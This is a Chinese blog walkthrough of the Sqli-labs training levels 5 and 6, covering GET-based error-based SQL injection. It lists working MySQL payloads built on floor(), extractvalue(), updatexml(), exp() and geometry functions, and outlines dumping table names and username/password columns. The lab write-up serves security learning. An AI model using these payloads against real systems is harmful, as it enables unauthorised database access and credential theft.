• SQL注入之Sqli-labs系列第五关和第六关(基于GET型的报错注入)


     废话不在多说  let's go!  

    开始挑战第五关(Double Query- Single Quotes- String

    第六关(Double Query- Double Quotes- String

     

    首先访问我们的环境,加入id参数,输入 ' 出现报错,对报错信息进行分析

     

    从上图很明显,直接利用单引号进行闭合,输入and 1=1 和1=2进行报错测试

    继续使用order by进行查询字段,正确的为3个字段数 

    union select联合查询,加入-号进行报错,

    靠,没有任何的反应,这就有有些触及知识盲区了,通过网站查询资料,发现可以使用报错函数进行注入,这里列出几个,都是从网上直接copy过来的

    1.floor()
    id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a)

    2.extractvalue()
    id = 1 and (extractvalue(1, concat(0x5c,(select user()))))

    3.updatexml()
    id = 1 and (updatexml(0x3a,concat(1,(select user())),1))

    4.exp()
    id =1 and EXP(~(SELECT * from(select user())a))

    5.有六种函数(但总的来说可以归为一类)

    GeometryCollection()
    id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

    polygon()
    id =1 AND polygon((select * from(select * from(select user())a)b))

    multipoint()
    id = 1 AND multipoint((select * from(select * from(select user())a)b))

    multilinestring()
    id = 1 AND multilinestring((select * from(select * from(select user())a)b))

    linestring()
    id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

    multipolygon()
    id =1 AND multipolygon((select * from(select * from(select user())a)b))

    这里我采用floor函数进行测试,对里面的几个函数进行解释下,以下是自己做的笔记,这里我就不一一的去数据库进行测试了

     

    既然有了sql语句,那就直接上了,查询版本,数据库

    继续爆表名,这里采用limit一行一行的看

     

    开始爆字段名,这里得到username和password

    爆数据

     

    第六关是一样的,采用双引号进行闭合即可,其他操作一致

     

  • 相关阅读:
    概率论
    英语单词每日学习
    网上学习新课程--使用开发板动手进行uboot、内核以及驱动移植
    csdn专家主页
    material of DeepLearning
    I2C协议
    SVN appears to be part of a Subversion 问题心得
    @清晰掉 各种类型32位与64位下各类型长度对比
    超级方便的linux命令手册
    HTTP协议详解(转)
  • 原文地址:https://www.cnblogs.com/AmoBlogs/p/8666710.html
Copyright © 2020-2023  润新知